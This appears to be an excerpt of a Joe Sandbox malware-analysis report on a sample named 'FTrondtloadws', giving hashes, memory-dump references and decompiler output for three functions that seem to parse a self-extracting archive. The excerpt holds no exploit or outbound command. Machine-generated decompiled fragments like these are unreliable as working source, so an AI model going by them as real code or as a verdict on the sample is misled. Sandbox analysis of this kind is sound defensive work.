Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: bffcd2f0d5bebaa05219b69d78e73323c6cb42022e32b592914b918acba62f74
Instruction ID: bc0679ca3c0639e066ed5e554231e0ea598852cf10c54ecb58452bb2fa4d9058
Opcode Fuzzy Hash: bffcd2f0d5bebaa05219b69d78e73323c6cb42022e32b592914b918acba62f74
Instruction Fuzzy Hash: A4C01232058700BECB020BB0EC09E3FBBA8ABA5212F08C908B0A5C0264C238C020DB21

Uniqueness

Uniqueness Score: -1.00%

Function 00CC1AD3 Relevance: 1.8, APIs: 1, Instructions: 319
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00CC1AD3(intOrPtr* __ecx, void* __edx) {
				void* __esi;
				char _t99;
				intOrPtr _t101;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t108;
				void* _t110;
				char _t111;
				void* _t116;
				intOrPtr _t123;
				char _t124;
				char _t134;
				intOrPtr _t139;
				void* _t140;
				intOrPtr _t149;
				intOrPtr _t153;
				void* _t158;
				void* _t160;
				void* _t164;
				intOrPtr* _t165;
				intOrPtr _t179;
				intOrPtr _t181;
				intOrPtr _t197;
				intOrPtr _t198;
				void* _t208;
				void* _t209;
				intOrPtr _t210;
				intOrPtr _t212;
				void* _t213;
				char* _t214;
				intOrPtr _t215;
				void* _t216;
				void* _t223;
				void* _t225;

				_t208 = __edx;
				E00CDFD4C(0xcf3678, _t225);
				_t165 = __ecx;
				_t210 = 7;
				 *((char*)(__ecx + 0x6564)) = 0;
				 *((char*)(__ecx + 0x656c)) = 0;
				 *0xcf4278(__ecx + 0x1a88, _t210, _t209, _t216, _t164);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xc))))() != _t210) {
					L24:
					_t99 = 0;
					L25:
					 *[fs:0x0] =  *((intOrPtr*)(_t225 - 0xc));
					return _t99;
				}
				_t219 = 0;
				 *((intOrPtr*)(__ecx + 0x6568)) = 0;
				_t101 = E00CC1ED8(__ecx + 0x1a88, _t210);
				if(_t101 == 0) {
					E00CC13D9(_t225 - 0x34, 0x200000);
					 *(_t225 - 4) = 0;
					 *0xcf4278();
					_t105 =  *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x14))))(); // executed
					_t212 =  *((intOrPtr*)(_t225 - 0x34));
					 *((intOrPtr*)(_t225 - 0x18)) = _t105;
					 *0xcf4278(_t212,  *((intOrPtr*)(_t225 - 0x30)) + 0xfffffff0);
					_t107 =  *((intOrPtr*)( *_t165 + 0xc))();
					_t179 = _t107;
					_t219 = 0;
					 *((intOrPtr*)(_t225 - 0x14)) = _t179;
					if(_t179 <= 0) {
						L21:
						if( *((intOrPtr*)(_t165 + 0x6568)) != 0) {
							 *(_t225 - 4) =  *(_t225 - 4) | 0xffffffff;
							if(_t212 != 0) {
								L00CE5069(_t212); // executed
							}
							L28:
							_t210 = 7;
							L29:
							_t108 =  *((intOrPtr*)(_t165 + 0x6558));
							if(_t108 != 4) {
								if(_t108 != 3) {
									L35:
									 *((intOrPtr*)(_t165 + 0x1a90)) = _t210;
									 *((char*)(_t225 - 0xd)) = 0;
									_t110 = E00CC424D(_t165, _t208, _t219);
									 *((char*)(_t225 - 0xe)) = _t110 != 0;
									if(_t110 == 0) {
										L41:
										_t111 =  *((intOrPtr*)(_t225 - 0xd));
										L42:
										_t181 =  *((intOrPtr*)(_t165 + 0x656d));
										if(_t181 == 0 ||  *((char*)(_t225 + 8)) != 0) {
											if( *((char*)(_t165 + 0x656c)) != 0 || _t111 == 0) {
												if(_t181 == 0) {
													E00CC1397(0x1b, _t165 + 0x32);
												}
												if( *((char*)(_t225 + 8)) == 0) {
													goto L24;
												} else {
													goto L49;
												}
											} else {
												L49:
												 *((char*)(_t165 + 0x655e)) =  *((intOrPtr*)(_t165 + 0x1ab4));
												if( *((char*)(_t225 - 0xe)) == 0 ||  *((char*)(_t165 + 0x1a70)) != 0 &&  *((char*)(_t165 + 0x6564)) != 0 ||  *((intOrPtr*)(_t165 + 0x10)) == 1) {
													L72:
													if( *((char*)(_t165 + 0x655d)) == 0 ||  *((char*)(_t165 + 0x6561)) != 0) {
														E00CD1908(_t165 + 0x65a2, _t165 + 0x32, 0x800);
													}
													_t99 = 1;
													goto L25;
												} else {
													 *0xcf4278();
													_t116 =  *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x14))))(); // executed
													_t223 = _t116;
													_t213 = _t208;
													 *((intOrPtr*)(_t225 - 0x18)) =  *((intOrPtr*)(_t165 + 0x6548));
													 *((intOrPtr*)(_t225 - 0x14)) =  *((intOrPtr*)(_t165 + 0x654c));
													 *((intOrPtr*)(_t225 - 0x1c)) =  *((intOrPtr*)(_t165 + 0x6550));
													 *((intOrPtr*)(_t225 - 0x20)) =  *((intOrPtr*)(_t165 + 0x6554));
													 *((intOrPtr*)(_t225 - 0x24)) =  *((intOrPtr*)(_t165 + 0x1a6c));
													while(E00CC424D(_t165, _t208, _t223) != 0) {
														_t123 =  *((intOrPtr*)(_t165 + 0x1a6c));
														if(_t123 != 3) {
															if(_t123 == 2) {
																if( *((char*)(_t165 + 0x655d)) == 0 ||  *((char*)(_t165 + 0x2bc8)) != 0) {
																	_t124 = 0;
																} else {
																	_t124 = 1;
																}
																 *((char*)(_t165 + 0x6561)) = _t124;
																L71:
																 *((intOrPtr*)(_t165 + 0x6548)) =  *((intOrPtr*)(_t225 - 0x18));
																 *((intOrPtr*)(_t165 + 0x654c)) =  *((intOrPtr*)(_t225 - 0x14));
																 *((intOrPtr*)(_t165 + 0x6550)) =  *((intOrPtr*)(_t225 - 0x1c));
																 *((intOrPtr*)(_t165 + 0x6554)) =  *((intOrPtr*)(_t225 - 0x20));
																 *((intOrPtr*)(_t165 + 0x1a6c)) =  *((intOrPtr*)(_t225 - 0x24));
																 *0xcf4278(_t223, _t213, 0);
																 *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x10))))();
																goto L72;
															}
															if(_t123 == 5) {
																goto L71;
															}
															L63:
															E00CC200C(_t165);
															continue;
														}
														if( *((char*)(_t165 + 0x655d)) == 0 ||  *((char*)(_t165 + 0x4f10)) != 0) {
															_t134 = 0;
														} else {
															_t134 = 1;
														}
														 *((char*)(_t165 + 0x6561)) = _t134;
														goto L63;
													}
													goto L71;
												}
											}
										} else {
											goto L24;
										}
									}
									 *((char*)(_t225 - 0xd)) = 0;
									while(1) {
										E00CC200C(_t165);
										_t139 =  *((intOrPtr*)(_t165 + 0x1a6c));
										if(_t139 == 1 ||  *((char*)(_t165 + 0x1a70)) != 0 && _t139 == 4) {
											break;
										}
										_t140 = E00CC424D(_t165, _t208, _t219);
										 *((char*)(_t225 - 0xe)) = _t140 != 0;
										if(_t140 != 0) {
											continue;
										}
										goto L41;
									}
									_t111 = 1;
									goto L42;
								}
								_t214 = _t165 + 0x1a8f;
								_t219 =  *((intOrPtr*)( *_t165 + 0xc));
								 *0xcf4278(_t214, 1);
								if( *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0xc))))() != 1 ||  *_t214 != 0) {
									goto L24;
								} else {
									_t210 = 8;
									goto L35;
								}
							}
							E00CC1397(0x3c, _t165 + 0x32);
							goto L24;
						}
						if(_t212 != 0) {
							L00CE5069(_t212);
						}
						goto L24;
					} else {
						goto L5;
					}
					do {
						L5:
						_t196 = _t212 + _t219;
						if( *((char*)(_t212 + _t219)) != 0x52) {
							goto L16;
						}
						_t149 = E00CC1ED8(_t196, _t107 - _t219);
						if(_t149 == 0) {
							L15:
							_t107 =  *((intOrPtr*)(_t225 - 0x14));
							goto L16;
						}
						_t197 =  *((intOrPtr*)(_t225 - 0x18));
						 *((intOrPtr*)(_t165 + 0x6558)) = _t149;
						if(_t149 != 1 || _t219 <= 0 || _t197 >= 0x1c ||  *((intOrPtr*)(_t225 - 0x14)) <= 0x1f) {
							L18:
							_t198 = _t197 + _t219;
							 *((intOrPtr*)(_t165 + 0x6568)) = _t198;
							_t219 =  *((intOrPtr*)( *_t165 + 0x10));
							 *0xcf4278(_t198, 0, 0);
							 *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0x10))))();
							_t153 =  *((intOrPtr*)(_t165 + 0x6558));
							if(_t153 == 2 || _t153 == 3) {
								_t219 =  *((intOrPtr*)( *_t165 + 0xc));
								 *0xcf4278(_t165 + 0x1a88, 7);
								 *((intOrPtr*)( *((intOrPtr*)( *_t165 + 0xc))))();
							}
							goto L21;
						} else {
							_t158 = _t212 - _t197;
							if( *((char*)(_t158 + 0x1c)) != 0x52 ||  *((char*)(_t158 + 0x1d)) != 0x53 ||  *((char*)(_t158 + 0x1e)) != 0x46 ||  *((char*)(_t158 + 0x1f)) != 0x58) {
								goto L15;
							} else {
								goto L18;
							}
						}
						L16:
						_t219 = _t219 + 1;
					} while (_t219 < _t107);
					goto L21;
				}
				 *((intOrPtr*)(_t165 + 0x6558)) = _t101;
				if(_t101 != 1) {
					goto L29;
				} else {
					_t215 =  *_t165;
					_t219 =  *((intOrPtr*)(_t215 + 0x14));
					 *0xcf4278(0);
					_t160 =  *((intOrPtr*)( *((intOrPtr*)(_t215 + 0x14))))();
					asm("sbb edx, 0x0");
					 *0xcf4278(_t160 - 7, __edx);
					 *((intOrPtr*)(_t215 + 0x10))();
					goto L28;
				}
			}

0x00cc1ad3
0x00cc1ad8
0x00cc1ae2
0x00cc1ae7
0x00cc1af2
0x00cc1afe
0x00cc1b05
0x00cc1b11
0x00cc1c6e
0x00cc1c6e
0x00cc1c70
0x00cc1c76
0x00cc1c7e
0x00cc1c7e
0x00cc1b1e
0x00cc1b21
0x00cc1b27
0x00cc1b2e
0x00cc1b74
0x00cc1b7b
0x00cc1b83
0x00cc1b8b
0x00cc1b92
0x00cc1b9d
0x00cc1ba0
0x00cc1ba8
0x00cc1bab
0x00cc1bad
0x00cc1baf
0x00cc1bb4
0x00cc1c5a
0x00cc1c61
0x00cc1c81
0x00cc1c87
0x00cc1c8a
0x00cc1c8f
0x00cc1c90
0x00cc1c92
0x00cc1c93
0x00cc1c93
0x00cc1c9c
0x00cc1cae
0x00cc1cd7
0x00cc1cd9
0x00cc1ce1
0x00cc1ce4
0x00cc1ceb
0x00cc1cf1
0x00cc1d31
0x00cc1d31
0x00cc1d34
0x00cc1d34
0x00cc1d3c
0x00cc1d4f
0x00cc1d57
0x00cc1d5f
0x00cc1d5f
0x00cc1d68
0x00000000
0x00000000
0x00000000
0x00000000
0x00cc1d6e
0x00cc1d6e
0x00cc1d78
0x00cc1d7e
0x00cc1e98
0x00cc1e9f
0x00cc1eba
0x00cc1eba
0x00cc1ebf
0x00000000
0x00cc1da4
0x00cc1dab
0x00cc1db3
0x00cc1db5
0x00cc1db7
0x00cc1dbf
0x00cc1dc8
0x00cc1dd1
0x00cc1dda
0x00cc1de3
0x00cc1e2b
0x00cc1def
0x00cc1df8
0x00cc1e1d
0x00cc1e3f
0x00cc1e4e
0x00cc1e4a
0x00cc1e4a
0x00cc1e4a
0x00cc1e50
0x00cc1e56
0x00cc1e59
0x00cc1e62
0x00cc1e6b
0x00cc1e74
0x00cc1e7d
0x00cc1e8e
0x00cc1e96
0x00000000
0x00cc1e96
0x00cc1e22
0x00000000
0x00000000
0x00cc1e24
0x00cc1e26
0x00000000
0x00cc1e26
0x00cc1e01
0x00cc1e10
0x00cc1e0c
0x00cc1e0c
0x00cc1e0c
0x00cc1e12
0x00000000
0x00cc1e12
0x00000000
0x00cc1e36
0x00cc1d7e
0x00000000
0x00000000
0x00000000
0x00cc1d3c
0x00cc1cf5
0x00cc1cf8
0x00cc1cfa
0x00cc1cff
0x00cc1d08
0x00000000
0x00000000
0x00cc1d22
0x00cc1d29
0x00cc1d2f
0x00000000
0x00000000
0x00000000
0x00cc1d2f
0x00cc1de8
0x00000000
0x00cc1de8
0x00cc1cb2
0x00cc1cbb
0x00cc1cc0
0x00cc1ccd
0x00000000
0x00cc1cd4
0x00cc1cd6
0x00000000
0x00cc1cd6
0x00cc1ccd
0x00cc1ca4
0x00000000
0x00cc1ca4
0x00cc1c65
0x00cc1c68
0x00cc1c6d
0x00000000
0x00000000
0x00000000
0x00000000
0x00cc1bba
0x00cc1bba
0x00cc1bba
0x00cc1bc0
0x00000000
0x00000000
0x00cc1bc6
0x00cc1bcd
0x00cc1c08
0x00cc1c08
0x00000000
0x00cc1c08
0x00cc1bcf
0x00cc1bd2
0x00cc1bdb
0x00cc1c12
0x00cc1c14
0x00cc1c1a
0x00cc1c20
0x00cc1c26
0x00cc1c2e
0x00cc1c30
0x00cc1c39
0x00cc1c4b
0x00cc1c50
0x00cc1c58
0x00cc1c58
0x00000000
0x00cc1bec
0x00cc1bee
0x00cc1bf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00cc1bf4
0x00cc1c0b
0x00cc1c0b
0x00cc1c0c
0x00000000
0x00cc1bba
0x00cc1b30
0x00cc1b39
0x00000000
0x00cc1b3f
0x00cc1b3f
0x00cc1b42
0x00cc1b47
0x00cc1b4f
0x00cc1b57
0x00cc1b5c
0x00cc1b64
0x00000000
0x00cc1b64

APIs

__EH_prolog.LIBCMT ref: 00CC1AD8

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8179b5ed47f5e6ae33353e97f9dca7a2c0e54eb8ca8c1b0dbe5ab348e7698e95
Instruction ID: aca2a12c894d0392c26705c46cfcae96231cb4bc09524df87483a52a6f7147ad
Opcode Fuzzy Hash: 8179b5ed47f5e6ae33353e97f9dca7a2c0e54eb8ca8c1b0dbe5ab348e7698e95
Instruction Fuzzy Hash: 47C18E70A006549FDF25CF2AC898BAD7BA5AF47310F1C01BEEC16DB297C7219A45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00CC42DA Relevance: 1.7, APIs: 1, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00CC42DA(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t79;
				signed int _t86;
				intOrPtr _t91;
				intOrPtr _t96;
				signed int _t102;
				void* _t124;
				char _t125;
				intOrPtr _t133;
				signed int _t135;
				intOrPtr _t149;
				signed int _t152;
				void* _t155;
				void* _t157;

				E00CDFD4C(0xcf3729, _t157);
				E00CDFE20(0xe6d0);
				_t155 = __ecx;
				if( *((char*)(__ecx + 0x656c)) == 0) {
					__eflags =  *((char*)(__ecx + 0x3ea0)) - 5;
					if( *((char*)(__ecx + 0x3ea0)) > 5) {
						L26:
						E00CC1397(0x1e, _t155 + 0x32);
						goto L27;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x6558)) - 3;
					__eflags =  *((intOrPtr*)(__ecx + 0x3e9c)) - (( *((intOrPtr*)(__ecx + 0x6558)) != 0x00000003) - 0x00000001 & 0x00000015) + 0x1d;
					if( *((intOrPtr*)(__ecx + 0x3e9c)) > (( *((intOrPtr*)(__ecx + 0x6558)) != 0x00000003) - 0x00000001 & 0x00000015) + 0x1d) {
						goto L26;
					}
					_t86 =  *(__ecx + 0x4ed0) |  *(__ecx + 0x4ed4);
					__eflags = _t86;
					if(_t86 != 0) {
						L7:
						_t124 = _t155 + 0x1970;
						E00CCE40C(_t86, _t124);
						_push(_t124);
						E00CD33B4(_t157 - 0xe6dc, __eflags); // executed
						_t125 = 0;
						_push(0);
						_push( *((intOrPtr*)(_t155 + 0x4f6c)));
						 *((intOrPtr*)(_t157 - 4)) = 0;
						E00CD4556(0, _t157 - 0xe6dc);
						_t152 =  *(_t157 + 8);
						__eflags =  *(_t157 + 0xc);
						if( *(_t157 + 0xc) != 0) {
							L15:
							__eflags =  *((intOrPtr*)(_t155 + 0x4f13)) - _t125;
							if( *((intOrPtr*)(_t155 + 0x4f13)) == _t125) {
								L18:
								E00CCBEEA(_t155 + 0x1a30, _t149,  *((intOrPtr*)(_t155 + 0x4ee8)), 1);
								_t133 =  *((intOrPtr*)(_t155 + 0x4ed4));
								_t91 =  *((intOrPtr*)(_t155 + 0x4ed0));
								 *((intOrPtr*)(_t155 + 0x199c)) = _t133;
								 *((intOrPtr*)(_t155 + 0x1994)) = _t133;
								 *((intOrPtr*)(_t155 + 0x1998)) = _t91;
								 *((intOrPtr*)(_t155 + 0x1990)) = _t91;
								 *((char*)(_t155 + 0x19a0)) = _t125;
								E00CCE4D1(_t155 + 0x1970, _t155,  *(_t157 + 0xc));
								 *((char*)(_t155 + 0x19a1)) =  *((intOrPtr*)(_t157 + 0x10));
								 *((char*)(_t155 + 0x19c7)) =  *((intOrPtr*)(_t155 + 0x4f11));
								 *((intOrPtr*)(_t155 + 0x19b0)) = _t155 + 0x3e80;
								 *((intOrPtr*)(_t155 + 0x19b4)) = _t125;
								_t96 =  *((intOrPtr*)(_t155 + 0x4ed8));
								_t135 =  *(_t155 + 0x4edc);
								 *((intOrPtr*)(_t157 - 0x9a9c)) = _t96;
								 *(_t157 - 0x9a98) = _t135;
								 *((char*)(_t157 - 0x9a84)) = _t125;
								__eflags =  *((intOrPtr*)(_t155 + 0x3ea0)) - _t125;
								if(__eflags != 0) {
									E00CD41FF(_t157 - 0xe6dc,  *((intOrPtr*)(_t155 + 0x3e9c)), _t125);
								} else {
									_push(_t135);
									_push(_t96);
									_push(_t155 + 0x1970); // executed
									E00CCA453(_t125, __eflags); // executed
								}
								asm("sbb eax, eax");
								_t102 = E00CCBEBA(_t125, _t155 + 0x1a30, _t155 + 0x4ee8,  ~( *(_t155 + 0x4f42) & 0x000000ff) & _t155 + 0x00004f43);
								__eflags = _t102;
								if(_t102 != 0) {
									_t125 = 1;
								} else {
									E00CC237A(0x1f, _t155 + 0x32, _t155 + 0x3ea8);
									E00CC7809(0xd030c4, 3);
									__eflags = _t152;
									if(_t152 != 0) {
										E00CC45F2(_t152);
									}
								}
								L25:
								E00CD3516(_t157 - 0xe6dc, _t152, _t155);
								_t79 = _t125;
								goto L28;
							}
							_t149 =  *((intOrPtr*)(_t155 + 0x1a4c));
							__eflags =  *((intOrPtr*)(_t149 + 0xb3dc)) - _t125;
							if( *((intOrPtr*)(_t149 + 0xb3dc)) == _t125) {
								goto L25;
							}
							asm("sbb ecx, ecx");
							_t144 =  ~( *(_t155 + 0x4f18) & 0x000000ff) & _t155 + 0x00004f19;
							__eflags =  ~( *(_t155 + 0x4f18) & 0x000000ff) & _t155 + 0x00004f19;
							E00CCE489(_t155 + 0x1970, _t125,  *((intOrPtr*)(_t155 + 0x4f14)), _t149 + 0xb3d0, _t144, _t155 + 0x4f29,  *((intOrPtr*)(_t155 + 0x4f64)), _t155 + 0x4f43, _t155 + 0x4f3a);
							goto L18;
						}
						__eflags =  *(_t155 + 0x4edc);
						if(__eflags < 0) {
							L12:
							__eflags = _t152;
							if(_t152 != 0) {
								E00CC252A(_t152,  *((intOrPtr*)(_t155 + 0x4ed8)));
								E00CCE4EE(_t155 + 0x1970,  *_t152,  *((intOrPtr*)(_t155 + 0x4ed8)));
							} else {
								 *((char*)(_t155 + 0x19a1)) = 1;
							}
							goto L15;
						}
						if(__eflags > 0) {
							L11:
							E00CC1397(0x1e, _t155 + 0x32);
							goto L25;
						}
						__eflags =  *((intOrPtr*)(_t155 + 0x4ed8)) - 0x1000000;
						if( *((intOrPtr*)(_t155 + 0x4ed8)) <= 0x1000000) {
							goto L12;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x4f11)) - _t86;
					if( *((intOrPtr*)(__ecx + 0x4f11)) != _t86) {
						goto L7;
					} else {
						_t79 = 1;
						goto L28;
					}
				} else {
					E00CC1397(0x1d, __ecx + 0x32);
					E00CC7809(0xd030c4, 3);
					L27:
					_t79 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t157 - 0xc));
					return _t79;
				}
			}

0x00cc42df
0x00cc42e9
0x00cc42ef
0x00cc42f8
0x00cc4316
0x00cc431d
0x00cc4571
0x00cc4577
0x00000000
0x00cc4577
0x00cc4325
0x00cc4336
0x00cc433c
0x00000000
0x00000000
0x00cc4348
0x00cc4348
0x00cc434e
0x00cc435f
0x00cc4360
0x00cc4369
0x00cc436e
0x00cc4375
0x00cc437a
0x00cc4382
0x00cc4383
0x00cc4389
0x00cc438c
0x00cc4391
0x00cc4394
0x00cc4397
0x00cc43ec
0x00cc43ec
0x00cc43f2
0x00cc444e
0x00cc445c
0x00cc4461
0x00cc446a
0x00cc4470
0x00cc4476
0x00cc4483
0x00cc4489
0x00cc448f
0x00cc4495
0x00cc449d
0x00cc44a9
0x00cc44b5
0x00cc44bb
0x00cc44c1
0x00cc44c7
0x00cc44cd
0x00cc44d3
0x00cc44d9
0x00cc44df
0x00cc44e5
0x00cc4504
0x00cc44e7
0x00cc44e7
0x00cc44e8
0x00cc44ef
0x00cc44f0
0x00cc44f0
0x00cc451e
0x00cc452a
0x00cc452f
0x00cc4531
0x00cc455e
0x00cc4533
0x00cc4540
0x00cc454c
0x00cc4551
0x00cc4553
0x00cc4557
0x00cc4557
0x00cc4553
0x00cc4560
0x00cc4566
0x00cc456c
0x00000000
0x00cc456e
0x00cc43f4
0x00cc43fa
0x00cc4400
0x00000000
0x00000000
0x00cc4430
0x00cc4432
0x00cc4432
0x00cc4449
0x00000000
0x00cc4449
0x00cc4399
0x00cc439f
0x00cc43bf
0x00cc43bf
0x00cc43c1
0x00cc43d4
0x00cc43e7
0x00cc43c3
0x00cc43c3
0x00cc43c3
0x00000000
0x00cc43c1
0x00cc43a1
0x00cc43af
0x00cc43b5
0x00000000
0x00cc43b5
0x00cc43a3
0x00cc43ad
0x00000000
0x00000000
0x00000000
0x00cc43ad
0x00cc4350
0x00cc4356
0x00000000
0x00cc4358
0x00cc4358
0x00000000
0x00cc4358
0x00cc42fa
0x00cc4300
0x00cc430c
0x00cc457c
0x00cc457c
0x00cc457e
0x00cc4582
0x00cc458a
0x00cc458a

APIs

__EH_prolog.LIBCMT ref: 00CC42DF

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 088c7b0835fc8eb2baff659a217bd762991dd1234f641f514483136641a191c2
Instruction ID: 0681999685440fe065f639bcc7bf56d01bdbe4a8112eb9ae30204fc21a80f398
Opcode Fuzzy Hash: 088c7b0835fc8eb2baff659a217bd762991dd1234f641f514483136641a191c2
Instruction Fuzzy Hash: 6871BFB1504B859FCB29EB74C861FE7B7E8BF45300F08492EE6AB83291DB716644DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00CC9082 Relevance: 1.6, APIs: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00CC9082(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				char _t48;
				void* _t51;
				intOrPtr _t55;
				void* _t56;
				char _t58;
				signed int _t85;
				intOrPtr _t86;
				void* _t92;
				void* _t93;
				void* _t94;
				intOrPtr _t95;
				intOrPtr* _t97;
				void* _t99;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edi;
				_t92 = __edx;
				E00CDFD4C(0xcf38c8, _t99);
				E00CDFE20(0x95f4);
				_t97 = __ecx;
				_t1 = _t99 - 0x9600; // -36352
				E00CC13F8(_t1, _t102,  *((intOrPtr*)(__ecx + 0x20)));
				 *((intOrPtr*)(_t99 - 4)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x20)) + 0x81c6)) == 0) {
					_t8 = _t99 - 0x9600; // -36352
					_t48 = E00CCB1B2(_t8, __edi, __ecx, __ecx + 0x116);
					__eflags = _t48;
					if(_t48 == 0) {
						L17:
						_t39 = _t99 - 0x9600; // -36352, executed
						E00CC1641(_t39, _t94, _t97); // executed
						 *[fs:0x0] =  *((intOrPtr*)(_t99 - 0xc));
						return 0;
					}
					L3:
					_t9 = _t99 - 0x9600; // -36352, executed
					_t51 = E00CC1AD3(_t9, _t92, 1); // executed
					if(_t51 != 0) {
						__eflags =  *((intOrPtr*)(_t99 - 0x3093));
						if( *((intOrPtr*)(_t99 - 0x3093)) != 0) {
							goto L17;
						}
						_push(_t94);
						_t11 = _t99 - 0x9600; // -36352
						E00CC2032(_t11, _t92);
						_t95 = 0;
						__eflags =  *((intOrPtr*)(_t99 - 0x30a3));
						if(__eflags == 0) {
							L11:
							_t26 = _t99 - 0x9600; // -36352
							E00CC922E(_t97, __eflags, _t26);
							_t55 =  *((intOrPtr*)(_t97 + 0x20));
							_t93 = 0x49;
							_pop(_t94);
							_t85 =  *(_t55 + 0x91e2) & 0x0000ffff;
							__eflags = _t85 - 0x54;
							if(_t85 == 0x54) {
								L13:
								 *((char*)(_t55 + 0x70e9)) = 1;
								L14:
								_t86 =  *((intOrPtr*)(_t97 + 0x20));
								__eflags =  *((intOrPtr*)(_t86 + 0x91e2)) - _t93;
								if( *((intOrPtr*)(_t86 + 0x91e2)) != _t93) {
									 *((char*)(_t86 + 0x70e9)) =  *((char*)(_t86 + 0x70e9)) == 0;
									E00CD2E84((_t97 + 0x00000116 & 0xffffff00 |  *((char*)(_t86 + 0x70e9)) == 0x00000000) & 0x000000ff, _t97 + 0x116);
								}
								do {
									_t36 = _t99 - 0x9600; // -36352
									_t56 = E00CC424D(_t36, _t93, _t97);
									_t37 = _t99 - 0xd; // 0x7f3
									_t38 = _t99 - 0x9600; // -36352
									_t58 = E00CC92A6(_t97, _t38, _t56, _t37); // executed
									__eflags = _t58;
								} while (_t58 != 0);
								goto L17;
							}
							__eflags = _t85 - _t93;
							if(_t85 != _t93) {
								goto L14;
							}
							goto L13;
						}
						_t13 = _t99 - 0x95ce; // -36302
						_t14 = _t99 - 0x1010; // -2064
						_t65 = E00CD1908(_t14, _t13, 0x800);
						__eflags =  *((intOrPtr*)(_t99 - 0x309e));
						while(1) {
							_t20 = _t99 - 0x1010; // -2064
							E00CCD4B2(_t20, 0x800, (_t65 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
							_t21 = _t99 - 0x2058; // -6232
							E00CC79C5(_t21);
							_push(0);
							_t22 = _t99 - 0x2058; // -6232
							_t23 = _t99 - 0x1010; // -2064
							__eflags = E00CCB946(_t21, __eflags, _t23, _t22);
							if(__eflags == 0) {
								break;
							}
							_t95 = _t95 +  *((intOrPtr*)(_t99 - 0x1058));
							asm("adc ebx, [ebp-0x1054]");
							__eflags =  *((char*)(_t99 - 0x309e));
						}
						 *((intOrPtr*)(_t97 + 0xb8)) =  *((intOrPtr*)(_t97 + 0xb8)) + _t95;
						asm("adc [esi+0xbc], ebx");
						goto L11;
					}
					E00CC7809(0xd030c4, 1);
					goto L17;
				}
				 *((intOrPtr*)(_t99 - 0x95f0)) = 1;
				goto L3;
			}

0x00cc9082
0x00cc9082
0x00cc9082
0x00cc9087
0x00cc9091
0x00cc9098
0x00cc909a
0x00cc90a3
0x00cc90ad
0x00cc90b7
0x00cc90cc
0x00cc90d2
0x00cc90d7
0x00cc90d9
0x00cc9213
0x00cc9213
0x00cc9219
0x00cc9225
0x00cc922d
0x00cc922d
0x00cc90df
0x00cc90e1
0x00cc90e7
0x00cc90ee
0x00cc9101
0x00cc9107
0x00000000
0x00000000
0x00cc910d
0x00cc910e
0x00cc9114
0x00cc9119
0x00cc911b
0x00cc9121
0x00cc919e
0x00cc919e
0x00cc91a7
0x00cc91ac
0x00cc91b1
0x00cc91b2
0x00cc91b3
0x00cc91ba
0x00cc91bd
0x00cc91c4
0x00cc91c4
0x00cc91cb
0x00cc91cb
0x00cc91ce
0x00cc91d5
0x00cc91e5
0x00cc91ec
0x00cc91ec
0x00cc91f1
0x00cc91f1
0x00cc91f7
0x00cc91fc
0x00cc9201
0x00cc920a
0x00cc920f
0x00cc920f
0x00000000
0x00cc91f1
0x00cc91bf
0x00cc91c2
0x00000000
0x00000000
